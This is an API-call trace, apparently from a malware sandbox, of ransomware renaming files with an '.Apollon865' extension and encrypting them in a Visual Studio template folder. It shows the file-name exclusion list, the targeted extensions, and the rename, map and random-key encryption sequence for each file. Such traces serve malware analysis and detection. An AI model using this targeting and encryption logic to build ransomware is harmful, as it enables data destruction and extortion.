	[0053.043] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aed590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aed590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.043] lstrcpyW (in: lpString1=0x2d3e612, lpString2="AppConfigurationInternal.zip" | out: lpString1="AppConfigurationInternal.zip") returned="AppConfigurationInternal.zip"
	[0053.043] lstrlenW (lpString="AppConfigurationInternal.zip") returned 28
	[0053.043] lstrlenW (lpString="Apollon865") returned 10
	[0053.043] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0053.043] lstrlenW (lpString=".dll") returned 4
	[0053.043] lstrcmpiW (lpString1="AppConfigurationInternal.zip", lpString2=".dll") returned 1
	[0053.043] lstrlenW (lpString=".lnk") returned 4
	[0053.043] lstrcmpiW (lpString1="AppConfigurationInternal.zip", lpString2=".lnk") returned 1
	[0053.043] lstrlenW (lpString=".ini") returned 4
	[0053.043] lstrcmpiW (lpString1="AppConfigurationInternal.zip", lpString2=".ini") returned 1
	[0053.043] lstrlenW (lpString=".sys") returned 4
	[0053.043] lstrcmpiW (lpString1="AppConfigurationInternal.zip", lpString2=".sys") returned 1
	[0053.043] lstrlenW (lpString="AppConfigurationInternal.zip") returned 28
	[0053.043] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.Apollon865") returned 136
	[0053.043] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0053.044] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1117) returned 1
	[0053.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.045] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0053.046] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.046] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.046] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x760, lpName=0x0) returned 0x118
	[0053.047] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x760) returned 0x100000
	[0053.048] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0053.049] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.049] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.050] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.050] CloseHandle (hObject=0x118) returned 1
	[0053.050] CloseHandle (hObject=0x15c) returned 1
	[0053.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.050] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="ASSEMB~1.ZIP")) returned 1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".") returned 1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="..") returned 1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="windows") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="bootmgr") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="temp") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="pagefile.sys") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="boot") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="ids.txt") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="ntuser.dat") returned -1
	[0053.050] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="perflogs") returned -1
	[0053.051] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2="MSBuild") returned -1
	[0053.051] lstrlenW (lpString="AssemblyInfoInternal.zip") returned 24
	[0053.051] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip") returned 125
	[0053.051] lstrcpyW (in: lpString1=0x2d3e612, lpString2="AssemblyInfoInternal.zip" | out: lpString1="AssemblyInfoInternal.zip") returned="AssemblyInfoInternal.zip"
	[0053.051] lstrlenW (lpString="AssemblyInfoInternal.zip") returned 24
	[0053.051] lstrlenW (lpString="Apollon865") returned 10
	[0053.051] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0053.051] lstrlenW (lpString=".dll") returned 4
	[0053.051] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".dll") returned 1
	[0053.051] lstrlenW (lpString=".lnk") returned 4
	[0053.051] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".lnk") returned 1
	[0053.051] lstrlenW (lpString=".ini") returned 4
	[0053.051] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".ini") returned 1
	[0053.051] lstrlenW (lpString=".sys") returned 4
	[0053.051] lstrcmpiW (lpString1="AssemblyInfoInternal.zip", lpString2=".sys") returned 1
	[0053.051] lstrlenW (lpString="AssemblyInfoInternal.zip") returned 24
	[0053.051] lstrlenW (lpString="bak") returned 3
	[0053.051] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.051] lstrlenW (lpString="ba_") returned 3
	[0053.051] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.051] lstrlenW (lpString="dbb") returned 3
	[0053.051] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.051] lstrlenW (lpString="vmdk") returned 4
	[0053.051] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.051] lstrlenW (lpString="rar") returned 3
	[0053.051] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.051] lstrlenW (lpString="zip") returned 3
	[0053.051] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.051] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.Apollon865") returned 132
	[0053.051] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0053.058] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1157) returned 1
	[0053.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.058] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0053.059] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.059] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.059] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x790, lpName=0x0) returned 0x118
	[0053.061] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x790) returned 0x100000
	[0053.062] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0053.062] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.062] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.063] CloseHandle (hObject=0x118) returned 1
	[0053.063] CloseHandle (hObject=0x15c) returned 1
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.063] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1
	[0053.063] lstrcmpiW (lpString1="Class.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.063] lstrcmpiW (lpString1="Class.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.063] lstrcmpiW (lpString1="Class.zip", lpString2=".") returned 1
	[0053.063] lstrcmpiW (lpString1="Class.zip", lpString2="..") returned 1
	[0053.063] lstrcmpiW (lpString1="Class.zip", lpString2="windows") returned -1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="bootmgr") returned 1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="temp") returned -1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="pagefile.sys") returned -1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="boot") returned 1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="ids.txt") returned -1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="ntuser.dat") returned -1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="perflogs") returned -1
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2="MSBuild") returned -1
	[0053.064] lstrlenW (lpString="Class.zip") returned 9
	[0053.064] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip") returned 121
	[0053.064] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Class.zip" | out: lpString1="Class.zip") returned="Class.zip"
	[0053.064] lstrlenW (lpString="Class.zip") returned 9
	[0053.064] lstrlenW (lpString="Apollon865") returned 10
	[0053.064] lstrlenW (lpString=".dll") returned 4
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2=".dll") returned 1
	[0053.064] lstrlenW (lpString=".lnk") returned 4
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2=".lnk") returned 1
	[0053.064] lstrlenW (lpString=".ini") returned 4
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2=".ini") returned 1
	[0053.064] lstrlenW (lpString=".sys") returned 4
	[0053.064] lstrcmpiW (lpString1="Class.zip", lpString2=".sys") returned 1
	[0053.064] lstrlenW (lpString="Class.zip") returned 9
	[0053.064] lstrlenW (lpString="bak") returned 3
	[0053.064] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.064] lstrlenW (lpString="ba_") returned 3
	[0053.064] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.064] lstrlenW (lpString="dbb") returned 3
	[0053.064] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.064] lstrlenW (lpString="vmdk") returned 4
	[0053.064] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.064] lstrlenW (lpString="rar") returned 3
	[0053.064] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.064] lstrlenW (lpString="zip") returned 3
	[0053.064] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.064] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.Apollon865") returned 117
	[0053.065] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0053.066] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=589) returned 1
	[0053.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.066] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0053.067] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.067] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.067] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x118
	[0053.069] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000
	[0053.069] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0053.070] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.070] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.071] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.071] CloseHandle (hObject=0x118) returned 1
	[0053.071] CloseHandle (hObject=0x15c) returned 1
	[0053.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.071] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dataset.zip", cAlternateFileName="")) returned 1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2=".") returned 1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="..") returned 1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="windows") returned -1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="bootmgr") returned 1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="temp") returned -1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="pagefile.sys") returned -1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="boot") returned 1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="ids.txt") returned -1
	[0053.071] lstrcmpiW (lpString1="Dataset.zip", lpString2="ntuser.dat") returned -1
	[0053.072] lstrcmpiW (lpString1="Dataset.zip", lpString2="perflogs") returned -1
	[0053.072] lstrcmpiW (lpString1="Dataset.zip", lpString2="MSBuild") returned -1
	[0053.072] lstrlenW (lpString="Dataset.zip") returned 11
	[0053.072] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip") returned 106
	[0053.072] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Dataset.zip" | out: lpString1="Dataset.zip") returned="Dataset.zip"
	[0053.072] lstrlenW (lpString="Dataset.zip") returned 11
	[0053.072] lstrlenW (lpString="Apollon865") returned 10
	[0053.072] lstrcmpiW (lpString1="ataset.zip", lpString2="Apollon865") returned 1
	[0053.072] lstrlenW (lpString=".dll") returned 4
	[0053.072] lstrcmpiW (lpString1="Dataset.zip", lpString2=".dll") returned 1
	[0053.072] lstrlenW (lpString=".lnk") returned 4
	[0053.072] lstrcmpiW (lpString1="Dataset.zip", lpString2=".lnk") returned 1
	[0053.072] lstrlenW (lpString=".ini") returned 4
	[0053.072] lstrcmpiW (lpString1="Dataset.zip", lpString2=".ini") returned 1
	[0053.072] lstrlenW (lpString=".sys") returned 4
	[0053.072] lstrcmpiW (lpString1="Dataset.zip", lpString2=".sys") returned 1
	[0053.072] lstrlenW (lpString="Dataset.zip") returned 11
	[0053.072] lstrlenW (lpString="bak") returned 3
	[0053.072] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.072] lstrlenW (lpString="ba_") returned 3
	[0053.072] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.072] lstrlenW (lpString="dbb") returned 3
	[0053.072] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.072] lstrlenW (lpString="vmdk") returned 4
	[0053.072] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.072] lstrlenW (lpString="rar") returned 3
	[0053.072] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.072] lstrlenW (lpString="zip") returned 3
	[0053.072] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.072] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.Apollon865") returned 119
